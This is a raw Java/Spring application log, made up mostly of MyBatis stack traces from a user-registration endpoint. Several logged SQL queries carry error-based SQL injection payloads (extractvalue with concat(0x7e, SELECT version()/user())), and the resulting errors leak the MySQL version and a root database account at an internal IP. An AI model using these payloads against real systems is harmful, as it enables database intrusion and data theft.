at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:182)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93)
at jdk.proxy2/jdk.proxy2.$Proxy176.selectOne(Unknown Source)
at org.dromara.system.service.impl.SysConfigServiceImpl.lambda$selectRegisterEnabled$0(SysConfigServiceImpl.java:87)
at org.dromara.common.tenant.helper.TenantHelper.dynamic(TenantHelper.java:211)
at org.dromara.system.service.impl.SysConfigServiceImpl.selectRegisterEnabled(SysConfigServiceImpl.java:86)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:359)
at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:724)
at org.dromara.system.service.impl.SysConfigServiceImpl$$SpringCGLIB$$0.selectRegisterEnabled(<generated>)
at org.dromara.web.controller.AuthController.register(AuthController.java:186)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:258)
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:191)
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:986)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:891)
at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1089)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:979)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1014)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:914)
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:547)
at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885)
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:614)
at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:74)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129)
at org.springframework.web.filter.CorsFilter.doFilterInternal(CorsFilter.java:91)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.dromara.common.web.filter.RepeatableFilter.doFilter(RepeatableFilter.java:32)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at cn.dev33.satoken.filter.SaServletFilter.doFilter(SaServletFilter.java:143)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at cn.dev33.satoken.filter.SaFirewallCheckFilterForJakartaServlet.doFilter(SaFirewallCheckFilterForJakartaServlet.java:69)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at cn.dev33.satoken.filter.SaTokenCorsFilterForJakartaServlet.doFilter(SaTokenCorsFilterForJakartaServlet.java:52)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at cn.dev33.satoken.filter.SaTokenContextFilterForJakartaServlet.doFilter(SaTokenContextFilterForJakartaServlet.java:40)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.springframework.web.filter.ServerHttpObservationFilter.doFilterInternal(ServerHttpObservationFilter.java:114)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.dromara.common.web.filter.XssFilter.doFilter(XssFilter.java:42)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84)
at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62)
at io.undertow.servlet.handlers.ServletChain$1.handleRequest(ServletChain.java:68)
at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36)
at io.undertow.servlet.handlers.RedirectDirHandler.handleRequest(RedirectDirHandler.java:68)
at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:117)
at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46)
at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64)
at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60)
at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77)
at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.SendErrorPageHandler.handleRequest(SendErrorPageHandler.java:52)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:276)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:132)
at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48)
at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43)
at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:256)
at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:101)
at io.undertow.server.Connectors.executeRootHandler(Connectors.java:395)
at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:861)
at org.jboss.threads.ContextHandler$1.runWith(ContextHandler.java:18)
at org.jboss.threads.EnhancedQueueExecutor$Task.run(EnhancedQueueExecutor.java:2513)
at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538)
at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282)
at java.base/java.lang.Thread.run(Thread.java:840)
Closing non transactional SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@78067be3]
2026-09-16 14:49:32 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler
 - 请求地址'/auth/register',发生未知异常.
org.springframework.jdbc.UncategorizedSQLException:
### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~5.7.39-log'
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
### The error may involve defaultParameterMap
### The error occurred while setting parameters
### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT version()))) AND '1'='1'
### Cause: java.sql.SQLException: XPATH syntax error: '~5.7.39-log'
; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~5.7.39-log'
at org.mybatis.spring.MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTranslator.java:94)
at org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:347)
at jdk.proxy2/jdk.proxy2.$Proxy156.selectList(Unknown Source)
at org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:194)
at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.executeForMany(MybatisMapperMethod.java:164)
at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.execute(MybatisMapperMethod.java:77)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$PlainMethodInvoker.invoke(MybatisMapperProxy.java:156)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93)
at jdk.proxy2/jdk.proxy2.$Proxy176.selectList(Unknown Source)
at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:332)
at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:732)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:172)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93)
at jdk.proxy2/jdk.proxy2.$Proxy176.selectOne(Unknown Source)
at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:321)
at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:732)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:182)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93)
at jdk.proxy2/jdk.proxy2.$Proxy176.selectOne(Unknown Source)
at org.dromara.system.service.impl.SysConfigServiceImpl.lambda$selectRegisterEnabled$0(SysConfigServiceImpl.java:87)
at org.dromara.common.tenant.helper.TenantHelper.dynamic(TenantHelper.java:211)
at org.dromara.system.service.impl.SysConfigServiceImpl.selectRegisterEnabled(SysConfigServiceImpl.java:86)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:359)
at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:724)
at org.dromara.system.service.impl.SysConfigServiceImpl$$SpringCGLIB$$0.selectRegisterEnabled(<generated>)
at org.dromara.web.controller.AuthController.register(AuthController.java:186)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:258)
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:191)
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:986)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:891)
at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1089)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:979)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1014)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:914)
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:547)
at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885)
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:614)
at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:74)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129)
at org.springframework.web.filter.CorsFilter.doFilterInternal(CorsFilter.java:91)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.dromara.common.web.filter.RepeatableFilter.doFilter(RepeatableFilter.java:32)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at cn.dev33.satoken.filter.SaServletFilter.doFilter(SaServletFilter.java:143)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at cn.dev33.satoken.filter.SaFirewallCheckFilterForJakartaServlet.doFilter(SaFirewallCheckFilterForJakartaServlet.java:69)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at cn.dev33.satoken.filter.SaTokenCorsFilterForJakartaServlet.doFilter(SaTokenCorsFilterForJakartaServlet.java:52)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at cn.dev33.satoken.filter.SaTokenContextFilterForJakartaServlet.doFilter(SaTokenContextFilterForJakartaServlet.java:40)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.springframework.web.filter.ServerHttpObservationFilter.doFilterInternal(ServerHttpObservationFilter.java:114)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.dromara.common.web.filter.XssFilter.doFilter(XssFilter.java:42)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67)
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)
at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84)
at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62)
at io.undertow.servlet.handlers.ServletChain$1.handleRequest(ServletChain.java:68)
at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36)
at io.undertow.servlet.handlers.RedirectDirHandler.handleRequest(RedirectDirHandler.java:68)
at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:117)
at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46)
at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64)
at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60)
at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77)
at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.SendErrorPageHandler.handleRequest(SendErrorPageHandler.java:52)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:276)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:132)
at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48)
at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43)
at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:256)
at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:101)
at io.undertow.server.Connectors.executeRootHandler(Connectors.java:395)
at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:861)
at org.jboss.threads.ContextHandler$1.runWith(ContextHandler.java:18)
at org.jboss.threads.EnhancedQueueExecutor$Task.run(EnhancedQueueExecutor.java:2513)
at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538)
at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282)
at java.base/java.lang.Thread.run(Thread.java:840)
Caused by: java.sql.SQLException: XPATH syntax error: '~5.7.39-log'
at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:121)
at com.mysql.cj.jdbc.exceptions.SQLExceptionsMapping.translateException(SQLExceptionsMapping.java:114)
at com.mysql.cj.jdbc.ClientPreparedStatement.executeInternal(ClientPreparedStatement.java:988)
at com.mysql.cj.jdbc.ClientPreparedStatement.execute(ClientPreparedStatement.java:382)
at com.zaxxer.hikari.pool.ProxyPreparedStatement.execute(ProxyPreparedStatement.java:44)
at com.zaxxer.hikari.pool.HikariProxyPreparedStatement.execute(HikariProxyPreparedStatement.java)
at jdk.internal.reflect.GeneratedMethodAccessor48.invoke(Unknown Source)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at org.apache.ibatis.logging.jdbc.PreparedStatementLogger.invoke(PreparedStatementLogger.java:58)
at jdk.proxy3/jdk.proxy3.$Proxy426.execute(Unknown Source)
at org.apache.ibatis.executor.statement.PreparedStatementHandler.query(PreparedStatementHandler.java:65)
at org.apache.ibatis.executor.statement.RoutingStatementHandler.query(RoutingStatementHandler.java:80)
at jdk.internal.reflect.GeneratedMethodAccessor53.invoke(Unknown Source)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at org.apache.ibatis.plugin.Plugin.invoke(Plugin.java:61)
at jdk.proxy2/jdk.proxy2.$Proxy424.query(Unknown Source)
at org.apache.ibatis.executor.SimpleExecutor.doQuery(SimpleExecutor.java:65)
at org.apache.ibatis.executor.BaseExecutor.queryFromDatabase(BaseExecutor.java:336)
at org.apache.ibatis.executor.BaseExecutor.query(BaseExecutor.java:158)
at org.apache.ibatis.executor.CachingExecutor.query(CachingExecutor.java:110)
at com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor.intercept(MybatisPlusInterceptor.java:81)
at org.apache.ibatis.plugin.Plugin.invoke(Plugin.java:59)
at jdk.proxy2/jdk.proxy2.$Proxy423.query(Unknown Source)
at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:154)
at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:147)
at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:142)
at jdk.internal.reflect.GeneratedMethodAccessor63.invoke(Unknown Source)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:333)
... 115 common frames omitted
Creating a new SqlSession
SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@293b36f8] was not registered for synchronization because synchronization is not active
JDBC Connection [HikariProxyConnection@1203979072 wrapping com.mysql.cj.jdbc.ConnectionImpl@74224bcb] will not be managed by Spring
==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1'
==> Parameters: sys.account.registerUser(String)
2026-09-16 14:50:08 [XNIO-1 task-2] WARN  c.zaxxer.hikari.pool.ProxyConnection
 - master - Connection com.mysql.cj.jdbc.ConnectionImpl@74224bcb marked as broken because of SQLSTATE(HY000), ErrorCode(1105)
java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:121)
at com.mysql.cj.jdbc.exceptions.SQLExceptionsMapping.translateException(SQLExceptionsMapping.java:114)
at com.mysql.cj.jdbc.ClientPreparedStatement.executeInternal(ClientPreparedStatement.java:988)
at com.mysql.cj.jdbc.ClientPreparedStatement.execute(ClientPreparedStatement.java:382)
at com.zaxxer.hikari.pool.ProxyPreparedStatement.execute(ProxyPreparedStatement.java:44)
at com.zaxxer.hikari.pool.HikariProxyPreparedStatement.execute(HikariProxyPreparedStatement.java)
at jdk.internal.reflect.GeneratedMethodAccessor48.invoke(Unknown Source)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at org.apache.ibatis.logging.jdbc.PreparedStatementLogger.invoke(PreparedStatementLogger.java:58)
at jdk.proxy3/jdk.proxy3.$Proxy426.execute(Unknown Source)
at org.apache.ibatis.executor.statement.PreparedStatementHandler.query(PreparedStatementHandler.java:65)
at org.apache.ibatis.executor.statement.RoutingStatementHandler.query(RoutingStatementHandler.java:80)
at jdk.internal.reflect.GeneratedMethodAccessor53.invoke(Unknown Source)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at org.apache.ibatis.plugin.Plugin.invoke(Plugin.java:61)
at jdk.proxy2/jdk.proxy2.$Proxy424.query(Unknown Source)
at org.apache.ibatis.executor.SimpleExecutor.doQuery(SimpleExecutor.java:65)
at org.apache.ibatis.executor.BaseExecutor.queryFromDatabase(BaseExecutor.java:336)
at org.apache.ibatis.executor.BaseExecutor.query(BaseExecutor.java:158)
at org.apache.ibatis.executor.CachingExecutor.query(CachingExecutor.java:110)
at com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor.intercept(MybatisPlusInterceptor.java:81)
at org.apache.ibatis.plugin.Plugin.invoke(Plugin.java:59)
at jdk.proxy2/jdk.proxy2.$Proxy423.query(Unknown Source)
at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:154)
at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:147)
at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:142)
at jdk.internal.reflect.GeneratedMethodAccessor63.invoke(Unknown Source)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:333)
at jdk.proxy2/jdk.proxy2.$Proxy156.selectList(Unknown Source)
at org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:194)
at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.executeForMany(MybatisMapperMethod.java:164)
at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.execute(MybatisMapperMethod.java:77)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$PlainMethodInvoker.invoke(MybatisMapperProxy.java:156)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93)
at jdk.proxy2/jdk.proxy2.$Proxy176.selectList(Unknown Source)
at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:332)
at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:732)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:172)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93)
at jdk.proxy2/jdk.proxy2.$Proxy176.selectOne(Unknown Source)
at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:321)
at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:732)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:182)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93)
at jdk.proxy2/jdk.proxy2.$Proxy176.selectOne(Unknown Source)
at org.dromara.system.service.impl.SysConfigServiceImpl.lambda$selectRegisterEnabled$0(SysConfigServiceImpl.java:87)
at org.dromara.common.tenant.helper.TenantHelper.dynamic(TenantHelper.java:211)
at org.dromara.system.service.impl.SysConfigServiceImpl.selectRegisterEnabled(SysConfigServiceImpl.java:86)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
